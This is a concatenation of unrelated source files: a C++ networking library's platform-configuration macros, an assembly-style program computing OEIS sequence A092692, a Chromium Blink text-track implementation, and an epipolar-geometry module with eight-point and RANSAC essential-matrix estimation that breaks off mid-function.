# define WIN32_LEAN_AND_MEAN
# endif // !defined(WIN32_LEAN_AND_MEAN)
# endif // !defined(NET_TS_NO_WIN32_LEAN_AND_MEAN)
#endif // defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
// Windows: suppress definition of "min" and "max" macros.
#if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if !defined(NET_TS_NO_NOMINMAX)
# if !defined(NOMINMAX)
# define NOMINMAX 1
# endif // !defined(NOMINMAX)
# endif // !defined(NET_TS_NO_NOMINMAX)
#endif // defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
// Windows: IO Completion Ports.
#if !defined(NET_TS_HAS_IOCP)
# if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if defined(_WIN32_WINNT) && (_WIN32_WINNT >= 0x0400)
# if !defined(UNDER_CE) && !defined(NET_TS_WINDOWS_APP)
# if !defined(NET_TS_DISABLE_IOCP)
# define NET_TS_HAS_IOCP 1
# endif // !defined(NET_TS_DISABLE_IOCP)
# endif // !defined(UNDER_CE) && !defined(NET_TS_WINDOWS_APP)
# endif // defined(_WIN32_WINNT) && (_WIN32_WINNT >= 0x0400)
# endif // defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
#endif // !defined(NET_TS_HAS_IOCP)
// On POSIX (and POSIX-like) platforms we need to include unistd.h in order to
// get access to the various platform feature macros, e.g. to be able to test
// for threads support.
#if !defined(NET_TS_HAS_UNISTD_H)
# if !defined(NET_TS_HAS_BOOST_CONFIG)
# if defined(unix) \
|| defined(__unix) \
|| defined(_XOPEN_SOURCE) \
|| defined(_POSIX_SOURCE) \
|| (defined(__MACH__) && defined(__APPLE__)) \
|| defined(__FreeBSD__) \
|| defined(__NetBSD__) \
|| defined(__OpenBSD__) \
|| defined(__linux__)
# define NET_TS_HAS_UNISTD_H 1
# endif
# endif // !defined(NET_TS_HAS_BOOST_CONFIG)
#endif // !defined(NET_TS_HAS_UNISTD_H)
#if defined(NET_TS_HAS_UNISTD_H)
# include <unistd.h>
#endif // defined(NET_TS_HAS_UNISTD_H)
// Linux: epoll, eventfd and timerfd.
#if defined(__linux__)
# include <linux/version.h>
# if !defined(NET_TS_HAS_EPOLL)
# if !defined(NET_TS_DISABLE_EPOLL)
# if LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,45)
# define NET_TS_HAS_EPOLL 1
# endif // LINUX_VERSION_CODE >= KERNEL_VERSION(2,5,45)
# endif // !defined(NET_TS_DISABLE_EPOLL)
# endif // !defined(NET_TS_HAS_EPOLL)
# if !defined(NET_TS_HAS_EVENTFD)
# if !defined(NET_TS_DISABLE_EVENTFD)
# if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
# define NET_TS_HAS_EVENTFD 1
# endif // LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
# endif // !defined(NET_TS_DISABLE_EVENTFD)
# endif // !defined(NET_TS_HAS_EVENTFD)
# if !defined(NET_TS_HAS_TIMERFD)
# if defined(NET_TS_HAS_EPOLL)
# if (__GLIBC__ > 2) || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 8)
# define NET_TS_HAS_TIMERFD 1
# endif // (__GLIBC__ > 2) || (__GLIBC__ == 2 && __GLIBC_MINOR__ >= 8)
# endif // defined(NET_TS_HAS_EPOLL)
# endif // !defined(NET_TS_HAS_TIMERFD)
#endif // defined(__linux__)
// Mac OS X, FreeBSD, NetBSD, OpenBSD: kqueue.
#if (defined(__MACH__) && defined(__APPLE__)) \
|| defined(__FreeBSD__) \
|| defined(__NetBSD__) \
|| defined(__OpenBSD__)
# if !defined(NET_TS_HAS_KQUEUE)
# if !defined(NET_TS_DISABLE_KQUEUE)
# define NET_TS_HAS_KQUEUE 1
# endif // !defined(NET_TS_DISABLE_KQUEUE)
# endif // !defined(NET_TS_HAS_KQUEUE)
#endif // (defined(__MACH__) && defined(__APPLE__))
// || defined(__FreeBSD__)
// || defined(__NetBSD__)
// || defined(__OpenBSD__)
// Solaris: /dev/poll.
#if defined(__sun)
# if !defined(NET_TS_HAS_DEV_POLL)
# if !defined(NET_TS_DISABLE_DEV_POLL)
# define NET_TS_HAS_DEV_POLL 1
# endif // !defined(NET_TS_DISABLE_DEV_POLL)
# endif // !defined(NET_TS_HAS_DEV_POLL)
#endif // defined(__sun)
// Serial ports.
#if !defined(NET_TS_HAS_SERIAL_PORT)
# if defined(NET_TS_HAS_IOCP) \
|| !defined(NET_TS_WINDOWS) \
&& !defined(NET_TS_WINDOWS_RUNTIME) \
&& !defined(__CYGWIN__)
# if !defined(__SYMBIAN32__)
# if !defined(NET_TS_DISABLE_SERIAL_PORT)
# define NET_TS_HAS_SERIAL_PORT 1
# endif // !defined(NET_TS_DISABLE_SERIAL_PORT)
# endif // !defined(__SYMBIAN32__)
# endif // defined(NET_TS_HAS_IOCP)
// || !defined(NET_TS_WINDOWS)
// && !defined(NET_TS_WINDOWS_RUNTIME)
// && !defined(__CYGWIN__)
#endif // !defined(NET_TS_HAS_SERIAL_PORT)
// Windows: stream handles.
#if !defined(NET_TS_HAS_WINDOWS_STREAM_HANDLE)
# if !defined(NET_TS_DISABLE_WINDOWS_STREAM_HANDLE)
# if defined(NET_TS_HAS_IOCP)
# define NET_TS_HAS_WINDOWS_STREAM_HANDLE 1
# endif // defined(NET_TS_HAS_IOCP)
# endif // !defined(NET_TS_DISABLE_WINDOWS_STREAM_HANDLE)
#endif // !defined(NET_TS_HAS_WINDOWS_STREAM_HANDLE)
// Windows: random access handles.
#if !defined(NET_TS_HAS_WINDOWS_RANDOM_ACCESS_HANDLE)
# if !defined(NET_TS_DISABLE_WINDOWS_RANDOM_ACCESS_HANDLE)
# if defined(NET_TS_HAS_IOCP)
# define NET_TS_HAS_WINDOWS_RANDOM_ACCESS_HANDLE 1
# endif // defined(NET_TS_HAS_IOCP)
# endif // !defined(NET_TS_DISABLE_WINDOWS_RANDOM_ACCESS_HANDLE)
#endif // !defined(NET_TS_HAS_WINDOWS_RANDOM_ACCESS_HANDLE)
// Windows: object handles.
#if !defined(NET_TS_HAS_WINDOWS_OBJECT_HANDLE)
# if !defined(NET_TS_DISABLE_WINDOWS_OBJECT_HANDLE)
# if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if !defined(UNDER_CE) && !defined(NET_TS_WINDOWS_APP)
# define NET_TS_HAS_WINDOWS_OBJECT_HANDLE 1
# endif // !defined(UNDER_CE) && !defined(NET_TS_WINDOWS_APP)
# endif // defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# endif // !defined(NET_TS_DISABLE_WINDOWS_OBJECT_HANDLE)
#endif // !defined(NET_TS_HAS_WINDOWS_OBJECT_HANDLE)
// Windows: OVERLAPPED wrapper.
#if !defined(NET_TS_HAS_WINDOWS_OVERLAPPED_PTR)
# if !defined(NET_TS_DISABLE_WINDOWS_OVERLAPPED_PTR)
# if defined(NET_TS_HAS_IOCP)
# define NET_TS_HAS_WINDOWS_OVERLAPPED_PTR 1
# endif // defined(NET_TS_HAS_IOCP)
# endif // !defined(NET_TS_DISABLE_WINDOWS_OVERLAPPED_PTR)
#endif // !defined(NET_TS_HAS_WINDOWS_OVERLAPPED_PTR)
// POSIX: stream-oriented file descriptors.
#if !defined(NET_TS_HAS_POSIX_STREAM_DESCRIPTOR)
# if !defined(NET_TS_DISABLE_POSIX_STREAM_DESCRIPTOR)
# if !defined(NET_TS_WINDOWS) \
&& !defined(NET_TS_WINDOWS_RUNTIME) \
&& !defined(__CYGWIN__)
# define NET_TS_HAS_POSIX_STREAM_DESCRIPTOR 1
# endif // !defined(NET_TS_WINDOWS)
// && !defined(NET_TS_WINDOWS_RUNTIME)
// && !defined(__CYGWIN__)
# endif // !defined(NET_TS_DISABLE_POSIX_STREAM_DESCRIPTOR)
#endif // !defined(NET_TS_HAS_POSIX_STREAM_DESCRIPTOR)
// UNIX domain sockets.
#if !defined(NET_TS_HAS_LOCAL_SOCKETS)
# if !defined(NET_TS_DISABLE_LOCAL_SOCKETS)
# if !defined(NET_TS_WINDOWS) \
&& !defined(NET_TS_WINDOWS_RUNTIME) \
&& !defined(__CYGWIN__)
# define NET_TS_HAS_LOCAL_SOCKETS 1
# endif // !defined(NET_TS_WINDOWS)
// && !defined(NET_TS_WINDOWS_RUNTIME)
// && !defined(__CYGWIN__)
# endif // !defined(NET_TS_DISABLE_LOCAL_SOCKETS)
#endif // !defined(NET_TS_HAS_LOCAL_SOCKETS)
// Can use sigaction() instead of signal().
#if !defined(NET_TS_HAS_SIGACTION)
# if !defined(NET_TS_DISABLE_SIGACTION)
# if !defined(NET_TS_WINDOWS) \
&& !defined(NET_TS_WINDOWS_RUNTIME) \
&& !defined(__CYGWIN__)
# define NET_TS_HAS_SIGACTION 1
# endif // !defined(NET_TS_WINDOWS)
// && !defined(NET_TS_WINDOWS_RUNTIME)
// && !defined(__CYGWIN__)
# endif // !defined(NET_TS_DISABLE_SIGACTION)
#endif // !defined(NET_TS_HAS_SIGACTION)
// Can use signal().
#if !defined(NET_TS_HAS_SIGNAL)
# if !defined(NET_TS_DISABLE_SIGNAL)
# if !defined(UNDER_CE)
# define NET_TS_HAS_SIGNAL 1
# endif // !defined(UNDER_CE)
# endif // !defined(NET_TS_DISABLE_SIGNAL)
#endif // !defined(NET_TS_HAS_SIGNAL)
// Can use getaddrinfo() and getnameinfo().
#if !defined(NET_TS_HAS_GETADDRINFO)
# if !defined(NET_TS_DISABLE_GETADDRINFO)
# if defined(NET_TS_WINDOWS) || defined(__CYGWIN__)
# if defined(_WIN32_WINNT) && (_WIN32_WINNT >= 0x0501)
# define NET_TS_HAS_GETADDRINFO 1
# elif defined(UNDER_CE)
# define NET_TS_HAS_GETADDRINFO 1
# endif // defined(UNDER_CE)
# elif defined(__MACH__) && defined(__APPLE__)
# if defined(__MAC_OS_X_VERSION_MIN_REQUIRED)
# if (__MAC_OS_X_VERSION_MIN_REQUIRED >= 1050)
# define NET_TS_HAS_GETADDRINFO 1
# endif // (__MAC_OS_X_VERSION_MIN_REQUIRED >= 1050)
# else // defined(__MAC_OS_X_VERSION_MIN_REQUIRED)
# define NET_TS_HAS_GETADDRINFO 1
# endif // defined(__MAC_OS_X_VERSION_MIN_REQUIRED)
# else // defined(__MACH__) && defined(__APPLE__)
# define NET_TS_HAS_GETADDRINFO 1
# endif // defined(__MACH__) && defined(__APPLE__)
# endif // !defined(NET_TS_DISABLE_GETADDRINFO)
#endif // !defined(NET_TS_HAS_GETADDRINFO)
// Whether standard iostreams are disabled.
#if !defined(NET_TS_NO_IOSTREAM)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_NO_IOSTREAM)
# define NET_TS_NO_IOSTREAM 1
# endif // !defined(BOOST_NO_IOSTREAM)
#endif // !defined(NET_TS_NO_IOSTREAM)
// Whether exception handling is disabled.
#if !defined(NET_TS_NO_EXCEPTIONS)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_NO_EXCEPTIONS)
# define NET_TS_NO_EXCEPTIONS 1
# endif // !defined(BOOST_NO_EXCEPTIONS)
#endif // !defined(NET_TS_NO_EXCEPTIONS)
// Whether the typeid operator is supported.
#if !defined(NET_TS_NO_TYPEID)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_NO_TYPEID)
# define NET_TS_NO_TYPEID 1
# endif // !defined(BOOST_NO_TYPEID)
#endif // !defined(NET_TS_NO_TYPEID)
// Threads.
#if !defined(NET_TS_HAS_THREADS)
# if !defined(NET_TS_DISABLE_THREADS)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_HAS_THREADS)
# define NET_TS_HAS_THREADS 1
# elif defined(__GNUC__) && !defined(__MINGW32__) \
&& !defined(linux) && !defined(__linux) && !defined(__linux__)
# define NET_TS_HAS_THREADS 1
# elif defined(_MT) || defined(__MT__)
# define NET_TS_HAS_THREADS 1
# elif defined(_REENTRANT)
# define NET_TS_HAS_THREADS 1
# elif defined(__APPLE__)
# define NET_TS_HAS_THREADS 1
# elif defined(_POSIX_THREADS) && (_POSIX_THREADS + 0 >= 0)
# define NET_TS_HAS_THREADS 1
# elif defined(_PTHREADS)
# define NET_TS_HAS_THREADS 1
# endif // defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_HAS_THREADS)
# endif // !defined(NET_TS_DISABLE_THREADS)
#endif // !defined(NET_TS_HAS_THREADS)
// POSIX threads.
#if !defined(NET_TS_HAS_PTHREADS)
# if defined(NET_TS_HAS_THREADS)
# if defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_HAS_PTHREADS)
# define NET_TS_HAS_PTHREADS 1
# elif defined(_POSIX_THREADS) && (_POSIX_THREADS + 0 >= 0)
# define NET_TS_HAS_PTHREADS 1
# endif // defined(NET_TS_HAS_BOOST_CONFIG) && defined(BOOST_HAS_PTHREADS)
# endif // defined(NET_TS_HAS_THREADS)
#endif // !defined(NET_TS_HAS_PTHREADS)
// Helper to prevent macro expansion.
#define NET_TS_PREVENT_MACRO_SUBSTITUTION
// Helper to define in-class constants.
#if !defined(NET_TS_STATIC_CONSTANT)
# if !defined(NET_TS_DISABLE_BOOST_STATIC_CONSTANT)
# define NET_TS_STATIC_CONSTANT(type, assignment) \
BOOST_STATIC_CONSTANT(type, assignment)
# else // !defined(NET_TS_DISABLE_BOOST_STATIC_CONSTANT)
# define NET_TS_STATIC_CONSTANT(type, assignment) \
static const type assignment
# endif // !defined(NET_TS_DISABLE_BOOST_STATIC_CONSTANT)
#endif // !defined(NET_TS_STATIC_CONSTANT)
// Boost array library.
#if !defined(NET_TS_HAS_BOOST_ARRAY)
# if !defined(NET_TS_DISABLE_BOOST_ARRAY)
# define NET_TS_HAS_BOOST_ARRAY 1
# endif // !defined(NET_TS_DISABLE_BOOST_ARRAY)
#endif // !defined(NET_TS_HAS_BOOST_ARRAY)
// Boost assert macro.
#if !defined(NET_TS_HAS_BOOST_ASSERT)
# if !defined(NET_TS_DISABLE_BOOST_ASSERT)
# define NET_TS_HAS_BOOST_ASSERT 1
# endif // !defined(NET_TS_DISABLE_BOOST_ASSERT)
#endif // !defined(NET_TS_HAS_BOOST_ASSERT)
// Boost limits header.
#if !defined(NET_TS_HAS_BOOST_LIMITS)
# if !defined(NET_TS_DISABLE_BOOST_LIMITS)
# define NET_TS_HAS_BOOST_LIMITS 1
# endif // !defined(NET_TS_DISABLE_BOOST_LIMITS)
#endif // !defined(NET_TS_HAS_BOOST_LIMITS)
// Boost throw_exception function.
#if !defined(NET_TS_HAS_BOOST_THROW_EXCEPTION)
# if !defined(NET_TS_DISABLE_BOOST_THROW_EXCEPTION)
# define NET_TS_HAS_BOOST_THROW_EXCEPTION 1
# endif // !defined(NET_TS_DISABLE_BOOST_THROW_EXCEPTION)
#endif // !defined(NET_TS_HAS_BOOST_THROW_EXCEPTION)
// Boost regex library.
#if !defined(NET_TS_HAS_BOOST_REGEX)
# if !defined(NET_TS_DISABLE_BOOST_REGEX)
# define NET_TS_HAS_BOOST_REGEX 1
# endif // !defined(NET_TS_DISABLE_BOOST_REGEX)
#endif // !defined(NET_TS_HAS_BOOST_REGEX)
// Boost bind function.
#if !defined(NET_TS_HAS_BOOST_BIND)
# if !defined(NET_TS_DISABLE_BOOST_BIND)
# define NET_TS_HAS_BOOST_BIND 1
# endif // !defined(NET_TS_DISABLE_BOOST_BIND)
#endif // !defined(NET_TS_HAS_BOOST_BIND)
// Boost's BOOST_WORKAROUND macro.
#if !defined(NET_TS_HAS_BOOST_WORKAROUND)
# if !defined(NET_TS_DISABLE_BOOST_WORKAROUND)
# define NET_TS_HAS_BOOST_WORKAROUND 1
# endif // !defined(NET_TS_DISABLE_BOOST_WORKAROUND)
#endif // !defined(NET_TS_HAS_BOOST_WORKAROUND)
// Microsoft Visual C++'s secure C runtime library.
#if !defined(NET_TS_HAS_SECURE_RTL)
# if !defined(NET_TS_DISABLE_SECURE_RTL)
# if defined(NET_TS_MSVC) \
&& (NET_TS_MSVC >= 1400) \
&& !defined(UNDER_CE)
# define NET_TS_HAS_SECURE_RTL 1
# endif // defined(NET_TS_MSVC)
// && (NET_TS_MSVC >= 1400)
// && !defined(UNDER_CE)
# endif // !defined(NET_TS_DISABLE_SECURE_RTL)
#endif // !defined(NET_TS_HAS_SECURE_RTL)
// Handler hooking. Disabled for ancient Borland C++ and gcc compilers.
#if !defined(NET_TS_HAS_HANDLER_HOOKS)
# if !defined(NET_TS_DISABLE_HANDLER_HOOKS)
# if defined(__GNUC__)
# if (__GNUC__ >= 3)
# define NET_TS_HAS_HANDLER_HOOKS 1
# endif // (__GNUC__ >= 3)
# elif !defined(__BORLANDC__)
# define NET_TS_HAS_HANDLER_HOOKS 1
# endif // !defined(__BORLANDC__)
# endif // !defined(NET_TS_DISABLE_HANDLER_HOOKS)
#endif // !defined(NET_TS_HAS_HANDLER_HOOKS)
// Support for the __thread keyword extension.
#if !defined(NET_TS_DISABLE_THREAD_KEYWORD_EXTENSION)
# if defined(__linux__)
# if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
# if ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)
# if !defined(__INTEL_COMPILER) && !defined(__ICL) \
&& !(defined(__clang__) && defined(__ANDROID__))
# define NET_TS_HAS_THREAD_KEYWORD_EXTENSION 1
# define NET_TS_THREAD_KEYWORD __thread
# elif defined(__INTEL_COMPILER) && (__INTEL_COMPILER >= 1100)
# define NET_TS_HAS_THREAD_KEYWORD_EXTENSION 1
# endif // defined(__INTEL_COMPILER) && (__INTEL_COMPILER >= 1100)
// && !(defined(__clang__) && defined(__ANDROID__))
# endif // ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3)
# endif // defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
# endif // defined(__linux__)
# if defined(NET_TS_MSVC) && defined(NET_TS_WINDOWS_RUNTIME)
# if (_MSC_VER >= 1700)
# define NET_TS_HAS_THREAD_KEYWORD_EXTENSION 1
# define NET_TS_THREAD_KEYWORD __declspec(thread)
# endif // (_MSC_VER >= 1700)
# endif // defined(NET_TS_MSVC) && defined(NET_TS_WINDOWS_RUNTIME)
#endif // !defined(NET_TS_DISABLE_THREAD_KEYWORD_EXTENSION)
#if !defined(NET_TS_THREAD_KEYWORD)
# define NET_TS_THREAD_KEYWORD __thread
#endif // !defined(NET_TS_THREAD_KEYWORD)
// Support for POSIX ssize_t typedef.
#if !defined(NET_TS_DISABLE_SSIZE_T)
# if defined(__linux__) \
|| (defined(__MACH__) && defined(__APPLE__))
# define NET_TS_HAS_SSIZE_T 1
# endif // defined(__linux__)
// || (defined(__MACH__) && defined(__APPLE__))
#endif // !defined(NET_TS_DISABLE_SSIZE_T)
// Helper macros to manage the transition away from the old services-based API.
#define NET_TS_SVC_TPARAM
#define NET_TS_SVC_TPARAM_DEF1(d1)
#define NET_TS_SVC_TPARAM_DEF2(d1, d2)
#define NET_TS_SVC_TARG
// NET_TS_SVC_T is defined at each point of use.
#define NET_TS_SVC_TPARAM1
#define NET_TS_SVC_TPARAM1_DEF1(d1)
#define NET_TS_SVC_TPARAM1_DEF2(d1, d2)
#define NET_TS_SVC_TARG1
// NET_TS_SVC_T1 is defined at each point of use.
#define NET_TS_SVC_ACCESS protected
// Helper macros to manage transition away from error_code return values.
#define NET_TS_SYNC_OP_VOID void
#define NET_TS_SYNC_OP_VOID_RETURN(e) return
// Newer gcc, clang need special treatment to suppress unused typedef warnings.
#if defined(__clang__) && (__clang_major__ >= 7)
# define NET_TS_UNUSED_TYPEDEF __attribute__((__unused__))
#elif defined(__GNUC__)
# if ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 8)) || (__GNUC__ > 4)
# define NET_TS_UNUSED_TYPEDEF __attribute__((__unused__))
# endif // ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 8)) || (__GNUC__ > 4)
#endif // defined(__GNUC__)
#if !defined(NET_TS_UNUSED_TYPEDEF)
# define NET_TS_UNUSED_TYPEDEF
#endif // !defined(NET_TS_UNUSED_TYPEDEF)
// Some versions of gcc generate spurious warnings about unused variables.
#if defined(__GNUC__)
# if (__GNUC__ >= 4)
# define NET_TS_UNUSED_VARIABLE __attribute__((__unused__))
# endif // (__GNUC__ >= 4)
#endif // defined(__GNUC__)
#if !defined(NET_TS_UNUSED_VARIABLE)
# define NET_TS_UNUSED_VARIABLE
#endif // !defined(NET_TS_UNUSED_VARIABLE)
#endif // NET_TS_DETAIL_CONFIG_HPP
|
; A092692: Expansion of e.g.f. -log(1-x)/(1-x^2).
; Submitted by Christian Krause
; 0,1,1,8,18,184,660,8448,42000,648576,4142880,74972160,586776960,12174658560,113020427520,2643856588800,28432576972800,740051782041600,9056055981772800,259500083163955200,3562946373482496000,111422936937037824000,1697172166720622592000,57504006817918746624000,962691052768668647424000,35122852492484487413760000,641260394342965606809600000,25059533910850715800043520000,495681727573700350908825600000,20653229880222495090136842240000,440084864982859007245221888000000
mov $2,1
lpb $0
mul $1,$0
add $3,$0
cmp $3,$0
mul $3,$2
add $1,$3
mul $2,$0
sub $0,1
lpe
mov $0,$1
|
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "third_party/blink/renderer/platform/media/text_track_impl.h"
#include <utility>
#include "base/bind.h"
#include "base/location.h"
#include "base/task/single_thread_task_runner.h"
#include "media/base/bind_to_current_loop.h"
#include "third_party/blink/public/platform/web_inband_text_track_client.h"
#include "third_party/blink/public/platform/web_media_player_client.h"
#include "third_party/blink/renderer/platform/media/web_inband_text_track_impl.h"
namespace blink {
TextTrackImpl::TextTrackImpl(
const scoped_refptr<base::SingleThreadTaskRunner>& task_runner,
WebMediaPlayerClient* client,
std::unique_ptr<WebInbandTextTrackImpl> text_track)
: task_runner_(task_runner),
client_(client),
text_track_(std::move(text_track)) {
client_->AddTextTrack(text_track_.get());
}
TextTrackImpl::~TextTrackImpl() {
task_runner_->PostTask(FROM_HERE,
base::BindOnce(&TextTrackImpl::OnRemoveTrack, client_,
std::move(text_track_)));
}
void TextTrackImpl::addWebVTTCue(base::TimeDelta start,
base::TimeDelta end,
const std::string& id,
const std::string& content,
const std::string& settings) {
task_runner_->PostTask(
FROM_HERE, base::BindOnce(&TextTrackImpl::OnAddCue, text_track_.get(),
start, end, id, content, settings));
}
void TextTrackImpl::OnAddCue(WebInbandTextTrackImpl* text_track,
base::TimeDelta start,
base::TimeDelta end,
const std::string& id,
const std::string& content,
const std::string& settings) {
if (WebInbandTextTrackClient* client = text_track->Client()) {
client->AddWebVTTCue(start.InSecondsF(), end.InSecondsF(),
WebString::FromUTF8(id), WebString::FromUTF8(content),
WebString::FromUTF8(settings));
}
}
void TextTrackImpl::OnRemoveTrack(
WebMediaPlayerClient* client,
std::unique_ptr<WebInbandTextTrackImpl> text_track) {
if (text_track->Client())
client->RemoveTextTrack(text_track.get());
}
} // namespace blink
|
#include "epipolar.h"
#include <Eigen/SVD>
#include <Eigen/Cholesky>
#include <Eigen/Eigenvalues>
#include "permutation_sampler.h"
#include "srrg_geometry/geometry3d.h"
namespace srrg2_core{
using namespace std;
namespace epipolar {
using Matrix3_2f = Eigen::Matrix<float, 3, 2>;
using Matrix9f = Eigen::Matrix<float,9,9>;
using Matrix3_9f = Eigen::Matrix<float, 3, 9>;
using Vector9f = Eigen::Matrix<float, 9, 1>;
float triangulatePoint(Vector3f& p,
const Line3f& a,
const Line3f& b,
Vector2f& s) {
const float epsilon=1e-9;
Matrix3_2f D;
D.col(0)=-a.direction;
D.col(1)=b.direction;
Matrix2f DtD=D.transpose()*D;
if (fabs(DtD.determinant())<=epsilon)
return -3.;
s=DtD.inverse()*D.transpose()*(a.point-b.point);
if (s(0)<0)
return -1.;
if (s(1)<0)
return -2;
Vector3f pa=a.point+a.direction*s(0);
Vector3f pb=b.point+b.direction*s(1);
p=0.5*(pa+pb);
return (pa-pb).norm();
}
float triangulatePoint(Vector3f& p,
const Line3f& a,
const Line3f& b) {
Vector2f s;
return triangulatePoint(p,a,b,s);
}
int triangulateDirections(Vector3fVector& points,
std::vector<float>& results,
const Isometry3f& iso1,
const Isometry3f& iso2,
const Vector3fVector& directions1,
const Vector3fVector& directions2){
assert(directions1.size()==directions2.size() && "directions size mismatch");
size_t size=directions1.size();
points.resize(size);
results.resize(size);
Line3f l1(iso1.translation(), Vector3f::Zero());
Line3f l2(iso2.translation(), Vector3f::Zero());
int good=0;
for (size_t i=0; i<size; ++i) {
l1.direction = iso1.linear()*directions1[i];
l2.direction = iso2.linear()*directions2[i];
results[i]=triangulatePoint(points[i], l1, l2);
if (results[i]>=0)
++good;
}
return good;
}
void projectPointsOnSphere(Vector3fVector& dirs,
const Isometry3f& iso,
const Vector3fVector& points){
dirs.resize(points.size());
Isometry3f invT=iso.inverse();
for (size_t i=0; i<points.size(); ++i) {
dirs[i]=(invT*points[i]);
dirs[i].normalize();
}
}
Matrix3f iso2essential(const Eigen::Isometry3f& iso){
const Vector3f t=iso.translation();
return iso.linear().transpose()*geometry3d::skew(t);
}
void essential2iso(Isometry3f iso[2],
const Matrix3f& E) {
Matrix3f W;
W << 0, -1, 0,
1, 0, 0,
0, 0, 1;
Eigen::JacobiSVD<Matrix3f> svd(E, Eigen::ComputeFullU|Eigen::ComputeFullV);
Eigen::Matrix3f R=svd.matrixV()*W*svd.matrixU().transpose();
if(R.determinant()<0) {
svd=Eigen::JacobiSVD<Matrix3f>(-E, Eigen::ComputeFullU|Eigen::ComputeFullV);
R=svd.matrixV()*W*svd.matrixU().transpose();
}
iso[0].setIdentity();
iso[0].linear()=R;
Matrix3f t_cross=R*E;
iso[0].translation()=Vector3f(t_cross(2,1)-t_cross(1,2),
t_cross(0,2)-t_cross(2,0),
t_cross(1,0)-t_cross(0,1));
iso[1].setIdentity();
R=svd.matrixV()*W.transpose()*svd.matrixU().transpose();
iso[1].linear()=R;
t_cross=R*E;
iso[1].translation()=Vector3f(t_cross(2,1)-t_cross(1,2),
t_cross(0,2)-t_cross(2,0),
t_cross(1,0)-t_cross(0,1));
}
float eightPointEstimate(Matrix3f& dest,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2) {
using Matrix9f=Eigen::Matrix<float, 9,9>;
using Vector9f=Eigen::Matrix<float, 9,1>;
Matrix9f H;
H.setZero();
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
for (size_t i=0; i<dirs1.size(); ++i) {
const Vector3f& d1=dirs1[i];
const Vector3f& d2=dirs2[i];
Vector9f a;
int k=0;
for (int c=0; c<3; ++c)
for (int r=0; r<3; ++r, ++k) {
a[k]=d1(c)*d2(r);
}
H.noalias()+=a*a.transpose();
}
Eigen::SelfAdjointEigenSolver<Eigen::Matrix<float, 9,9> > eig(H);
// std::cerr << "H: " << std::endl;
// std::cerr << H << std::endl;
// std::cerr << "eigenvectors: " << std::endl;
// std::cerr << eig.eigenvectors() << std::endl;
// std::cerr << "eigenvalues: " << std::endl;
// std::cerr << eig.eigenvalues() << std::endl;
int k=0;
for (int c=0; c<3; ++c){
for (int r=0; r<3; ++r, ++k) {
dest(r,c)=eig.eigenvectors()(k,0);
}
}
return eig.eigenvalues()(0);
}
float estimateTransformFromDirections(Isometry3f& iso,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2) {
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
Matrix3f E;
float lambda=eightPointEstimate(E, dirs1, dirs2);
Isometry3f iso_v[2];
essential2iso(iso_v,E);
Vector3fVector temp_pts(dirs1.size());
std::vector<float> temp_errors;
int best_points=0;
for (int sol=0; sol<2; ++sol) {
Isometry3f temp_iso=iso_v[sol];
int temp_good = triangulateDirections(temp_pts,
temp_errors,
Isometry3f::Identity(),
temp_iso,
dirs1, dirs2);
if (temp_good>best_points) {
best_points=temp_good;
iso=temp_iso;
}
temp_iso.translation()=-temp_iso.translation();
temp_good = triangulateDirections(temp_pts,
temp_errors,
Isometry3f::Identity(),
temp_iso,
dirs1, dirs2);
if (temp_good>best_points) {
best_points=temp_good;
iso=temp_iso;
}
}
return best_points;
}
int scoreEssential(std::vector<float>& errors,
const Matrix3f& E,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
const float inlier_threshold) {
int num_inliers=0;
assert(dirs1.size()==dirs2.size());
const size_t s=dirs1.size();
errors.resize(s);
for (size_t i=0; i<s; ++i) {
errors[i]=dirs2[i].transpose()*E*dirs1[i];
if (fabs(errors[i])<inlier_threshold)
++num_inliers;
}
return num_inliers;
}
int estimateEssentialRANSACEightPts(Matrix3f& E,
std::vector<float>& errors,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
float inlier_threshold,
int num_rounds,
const std::vector<double>& weights_) {
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
size_t s=dirs1.size();
assert(s>=8 && "not enough correspondences for 8 pt estimate");
int best_num_inliers=0;
Vector3fVector dirs1_current(8);
Vector3fVector dirs2_current(8);
std::vector<float> errors_current(s);
std::vector<double> weights(s, 1.f);
if (weights_.size()) {
assert(weights.size()==s && "weights size mismatch");
weights=weights_;
}
PermutationSampler sampler(weights);
for (int round_num=0; round_num<num_rounds; ++round_num) {
// std::cerr << "RANSAC:, round: " << round_num << "[ ";
for (size_t i=0; i<8; ++i) {
double r=drand48()*sampler.getSum();
int idx=sampler.sampleWithRemoval(r);
dirs1_current[i]=dirs1[idx];
dirs2_current[i]=dirs2[idx];
// std::cerr << idx << " ";
}
sampler.recoverWeights();
Matrix3f E_current;
E_current.setZero();
eightPointEstimate(E_current, dirs1_current, dirs2_current);
int current_inliers=scoreEssential(errors_current, E_current, dirs1, dirs2, inlier_threshold);
